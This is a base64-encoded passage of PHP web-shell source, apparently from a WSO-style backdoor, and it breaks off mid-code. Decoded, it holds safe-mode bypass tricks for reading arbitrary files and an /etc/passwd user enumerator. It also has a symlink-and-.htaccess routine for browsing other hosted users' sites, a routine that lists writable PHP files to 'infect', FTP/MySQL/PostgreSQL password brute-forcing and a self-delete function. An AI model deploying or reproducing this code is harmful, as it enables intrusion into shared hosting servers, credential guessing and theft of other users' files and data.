KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29tJyBv
bmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5k
ZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRv
bicgdmFsdWU9J3Rvb2xzNG5vb2JzLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0n
aHR0cDovL3d3dy50b29sczRub29icy5jb20vb25saW5lX3BocF9mdW5jdGlvbnMvJztkb2N1bWVu
dC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRl
Y3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1
ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlw
ZT0nYnV0dG9uJyB2YWx1ZT0nYXJ0bGViZWRldi5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFj
dGlvbj0naHR0cHM6Ly93d3cuYXJ0bGViZWRldi5ydS90b29scy9kZWNvZGVyLyc7ZG9jdW1lbnQu
aGYuc3VibWl0KClcIj48YnI+CgkJPC9mb3JtPjwvZGl2PiI7CglwcmludEZvb3RlcigpOwp9Ci8v
IFN0cmluZyB0b29scyBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gU2FmZSBtb2RlIGdvIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKCSR0ZW1w
PScnOwoJb2Jfc3RhcnQoKTsKCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQljYXNlIDE6CgkJCSR0
ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKCQkJaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8i
LiRfUE9TVFsncDInXSwgJHRlbXApKXsKCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1w
KTsKCQkJCXVubGluaygkdGVtcCk7CgkJCX0gZWxzZQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0
IG9wZW4gZmlsZSc7CgkJCWJyZWFrOwoJCWNhc2UgMjoKCQkJJGZpbGVzID0gZ2xvYigkX1BPU1Rb
J3AyJ10uJyonKTsKCQkJaWYoIGlzX2FycmF5KCRmaWxlcykgKQoJCQkJZm9yZWFjaCAoJGZpbGVz
IGFzICRmaWxlbmFtZSkKCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOwoJCQlicmVhazsKCQljYXNl
IDM6CgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxG
X1BBVEgpOwoJCQljdXJsX2V4ZWMoJGNoKTsKCQkJYnJlYWs7CgkJY2FzZSA0OgoJCQlpbmlfcmVz
dG9yZSgic2FmZV9tb2RlIik7CgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKCQkJaW5j
bHVkZSgkX1BPU1RbJ3AyJ10pOwoJCQlicmVhazsKCQljYXNlIDU6CgkJCWZvcig7JF9QT1NUWydw
MiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewoJCQkJJHVpZCA9IEBwb3NpeF9n
ZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwoJCQkJaWYgKCR1aWQpCgkJCQkJZWNobyBqb2luKCc6Jywk
dWlkKS4iXG4iOwoJCQl9CgkJCWJyZWFrOwoJCWNhc2UgNjoKCQkJaWYoIWZ1bmN0aW9uX2V4aXN0
cygnaW1hcF9vcGVuJykpYnJlYWs7CgkJCSRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMidd
LCAiIiwgIiIpOwoJCQlpZiAoJHN0cmVhbSA9PSBGQUxTRSkKCQkJCWJyZWFrOwoJCQllY2hvIGlt
YXBfYm9keSgkc3RyZWFtLCAxKTsKCQkJaW1hcF9jbG9zZSgkc3RyZWFtKTsKCQkJYnJlYWs7Cgl9
CgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOwoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TYWZl
IG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gJzxzcGFuPkNvcHkg
KHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5w
YXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48
aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3Qg
ZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZh
bHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0
eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwv
c3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTty
ZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1
Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8
L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7
cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1z
dWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIg
L2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1
Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0
cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48
L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIg
dmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+
Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0g
b25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNl
O1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9
Ij4+Ij48L2Zvcm0+JzsKCWlmKCR0ZW1wKQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9
Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOwoJZWNobyAnPC9k
aXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gU2FmZSBtb2RlIGVuZCAtLS0tLS0tLS0tLS0tLS0t
LS0tLS0KLy8gTG9nb3V0IGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0
aW9uTG9nb3V0KCkgewoJdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10p
XSk7CgllY2hvICdieWUhJzsKfQovLyBMb2dvdXQgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0KLy8gU3VpY2lkZSBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlv
blNlbGZSZW1vdmUoKSB7CglwcmludEhlYWRlcigpOwoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMn
KSB7CgkJaWYoQHVubGluayhTRUxGX1BBVEgpKQoJCQlkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92
ZWQnKTsKCQllbHNlCgkJCWVjaG8gJ3VubGluayBlcnJvciEnOwoJfQoJZWNobyAnPGgxPlN1aWNp
ZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxs
Pzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rp
dj4nOwoJcHJpbnRGb290ZXIoKTsKfQovLyBTdWljaWRlIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tCmZ1bmN0aW9uIGFjdGlvblRvb2xzKCkgewoJcHJpbnRIZWFkZXIoKTsKCQoJCXByaW50
Rm9vdGVyKCk7Cn0KLy8gRG9tYWlucyBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0
aW9uIGFjdGlvbkRvbWFpbnMoKSB7CglwcmludEhlYWRlcigpOwoJZXJyb3JfcmVwb3J0aW5nKDAp
OwplY2hvICI8dGl0bGU+I0RvbWFpbnMgJiBVc2VyczwvdGl0bGU+IjsKbWtkaXIoInN5bSIpOwpz
eW1saW5rKCIvIiwiMC94LnR4dCIpOwokYyAgPSAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxp
bmtzIFxuIERpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0gXG4gQWRkVHlwZSB0eHQgLnBocCBcbiBB
ZGRIYW5kbGVyIHR4dCAucGhwIFxuICBBZGRUeXBlIHR4dCAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4
dCAuaHRtbCBcbiBPcHRpb25zIGFsbCBcbiBPcHRpb25zIFxuIEFsbG93IGZyb20gYWxsIFxuIFJl
cXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRmID0gZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywn
dycpOwogZndyaXRlKCRmICwgJGMpOwogCiRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29u
ZiIpOwppZighJGQwbWFpbnMpeyBkaWUoIjxiPiNFcnJvci4uLiAtPiBbIC9ldGMvbmFtZWQuY29u
ZiBdIik7IH0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT4KPHRyIGJnY29sb3I9
dGVhbD48dGQ+RG9tYWluPC90ZD48dGQ+VXNlciBMaXN0IDwvdGQ+PHRkPlN5bWxpbms8L3RkPjwv
dHI+IjsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoZXJlZ2koInpvbmUiLCRkMG1h
aW4pKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7
CmZsdXNoKCk7CmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKJHVzZXIgPSBw
b3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0p
KTsKZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz4i
LiRkb21haW5zWzFdWzBdLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48
YSBocmVmPSdzeW0veC50eHQvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCc+TWly
ZW1vczwvYT48L3RkPjwvdHI+IjsgZmx1c2goKTsKfX19CmVjaG8gIjwvdGFibGU+IAo8cCBhbGln
bj0nY2VudGVyJz4gCkZhaWxSb290J0NvZDNyeiA8YSBocmVmPSdodHRwOi8vZmFpbHJvb3Qud29y
ZHByZXNzLmNvbS8nPkZhaWxSb290LVNlYy5Db208L2E+IHwgPGEgIApocmVmPSdodHRwOi8vd1d3
LnNFYzRFdkVyLkNvTS8nPndXdy5zRWM0RXZFci5Db008L2E+PGJyPiAKPC9wPiAKIjsgCglwcmlu
dEZvb3RlcigpOwp9Ci8vIERvbWFpbnMgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIElu
ZmVjdCBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlvbkluZmVjdCgp
IHsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+SW5mZWN0PC9oMT48ZGl2IGNsYXNzPWNvbnRl
bnQ+JzsKCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewoJCSR0YXJnZXQ9JF9TRVJWRVJb
J0RPQ1VNRU5UX1JPT1QnXTsKCQkJZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsKCQkJCWlmKCRk
aCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCQkkZmlsZXMgPSBBcnJheSgpOwoJCQkJCSRpbm5lcl9m
aWxlcyA9IEFycmF5KCk7CgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJCQkJ
aWYoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKCQkJCQkJCWlmKGlzX2RpcigkZGly
IC4gIi8iIC4gJGZpbGUpKSB7CgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIg
LiAiLyIgLiAkZmlsZSk7CgkJCQkJCQkJaWYoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVz
ID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOyAKCQkJCQkJCX0gZWxzZSB7CgkJ
CQkJCQkJYXJyYXlfcHVzaCgkZmlsZXMsICRkaXIgLiAiLyIgLiAkZmlsZSk7CgkJCQkJCQl9CgkJ
CQkJCX0KCQkJCQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlyZXR1cm4gJGZpbGVzOwoJCQkJ
fQoJCQl9CgkJCWZvcmVhY2ggKExpc3RGaWxlcygkdGFyZ2V0KSBhcyAka2V5PT4kZmlsZSl7CgkJ
CQkkbkZpbGUgPSBzdWJzdHIoJGZpbGUsIC00LCA0KTsKCQkJCWlmKCRuRmlsZSA9PSAiLnBocCIg
KXsKCQkJCQlpZigoJGZpbGU8PiRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJF9TRVJWRVJbJ1BI
UF9TRUxGJ10pJiYoaXNfd3JpdGVhYmxlKCRmaWxlKSkpewoJCQkJCQllY2hvICIkZmlsZTxicj4i
OwoJCQkJCQkkaSsrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQg
c2l6ZT0xND4kaTwvZm9udD4iOwoJCX1lbHNlewoJCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48
aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9SW5mZWN0IG5hbWU9aW5mZXQ+PC9mb3JtPiI7CgkJCWVj
aG8gJ1JlYWxseSB3YW50IHRvIGluZmVjdCB0aGUgc2VydmVyPyZuYnNwOzxhIGhyZWY9IyBvbmNs
aWNrPSJnKG51bGwsbnVsbCxcJ2luZmVjdFwnKSI+WWVzPC9hPjwvZGl2Pic7CgkJfQoJcHJpbnRG
b290ZXIoKTsKfQovLyBJbmZlY3QgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIEJydXRl
Zm9yY2UgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgp
IHsKCXByaW50SGVhZGVyKCk7CglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsKCQllY2hv
ICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAn
Lmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+
ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7CgkJaWYoICRfUE9T
VFsncHJvdG8nXSA9PSAnZnRwJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQs
JGxvZ2luLCRwYXNzKSB7CgkJCQkkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoy
MSk7CgkJCQlpZighJGZwKSByZXR1cm4gZmFsc2U7CgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAs
ICRsb2dpbiwgJHBhc3MpOwoJCQkJQGZ0cF9jbG9zZSgkZnApOwoJCQkJcmV0dXJuICRyZXM7CgkJ
CX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7CgkJCWZ1bmN0aW9u
IGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHJlcyA9IEBteXNxbF9j
b25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlz
cWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1Rb
J3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQs
JGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQu
IicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPScnIjsKCQkJ
CSRyZXMgPSBAcGdfY29ubmVjdCgkc2VydmVyWzBdLic6Jy4kc2VydmVyWzFdPyRzZXJ2ZXJbMV06
NTQzMiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAcGdfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJl
czsKCQkJfQoJCX0KCQkkc3VjY2VzcyA9IDA7CgkJJGF0dGVtcHRzID0gMDsKCQkkc2VydmVyID0g
ZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOwoJCWlmKCRfUE9TVFsndHlwZSddID09IDEp
IHsKCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsKCQkJaWYoIGlzX2FycmF5KCR0ZW1w
KSApCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7CgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6
IiwgJGxpbmUpOwoJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVy
WzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgewoJCQkJCQkkc3VjY2Vzcysr
OwoJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRt
bHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOwoJCQkJCX0KCQkJCQlpZihAJF9QT1NUWydy
ZXZlcnNlJ10pIHsKCQkJCQkJJHRtcCA9ICIiOwoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBd
KS0xOyAkaT49MDsgLS0kaSkKCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOwoJCQkJCQkrKyRh
dHRlbXB0czsKCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRs
aW5lWzBdLCAkdG1wKSApIHsKCQkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCQllY2hvICc8Yj4nLmh0
bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsK
CQkJCQkJfQoJCQkJCX0KCQkJCX0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7CgkJ
CSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkK
CQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOwoJ
CQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJb
MV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQll
Y2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxz
cGVjaWFsY2hhcnMoJGxpbmUpLic8YnI+JzsKCQkJCQl9CgkJCQl9CgkJfQoJCWVjaG8gIjxzcGFu
PkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2Vz
czwvZGl2Pjxicj4iOwoJfQoJZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNz
PWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bh
bj48L3RkPicKCQkuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQ
PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9
cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicKCQku
JzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xP
QkFMU1snY3dkJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9Iicu
aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCdd
KS4nIj4nCgkJLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQg
dHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nCgkJLic8
dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGxhYmVsPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xh
YmVsPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGlu
Zy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNo
ZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3RyPicKCQkuJzx0
cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i
MiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0
YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+
PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJyb290Ij48
L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+JwoJCS4n
PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMo
JEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+JwoJCS4nPC90
ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90
ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7CgllY2hvICc8L2Rpdj48YnI+JzsKCXByaW50Rm9vdGVy
KCk7Cn0KLy8gQnJ1dGVmb3JjZSBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gU3FsIGdvIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3Mg
RGJDbGFzcyB7CgkJdmFyICR0eXBlOwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlv
biBEYkNsYXNzKCR0eXBlKQl7CgkJCSR0aGlzLT50eXBlID0gJHR5cGU7CgkJfQoJCWZ1bmN0aW9u
IGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CgkJCXN3aXRjaCgkdGhpcy0+
dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9j
b25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7
CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwoJCQkJ
CWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdf
Y29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3
b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJ
fQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewoJCQlzd2l0
Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZiAoQG15c3FsX3NlbGVj
dF9kYigkZGIpKXJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsK
CQl9CgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsKCQkJ
CWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3Ry
KTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9
IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4g
ZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGZldGNoKCkgewoJCQkkcmVzID0gZnVuY19udW1fYXJncygp
P2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJ
CWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJ
CWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJl
cyk7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0
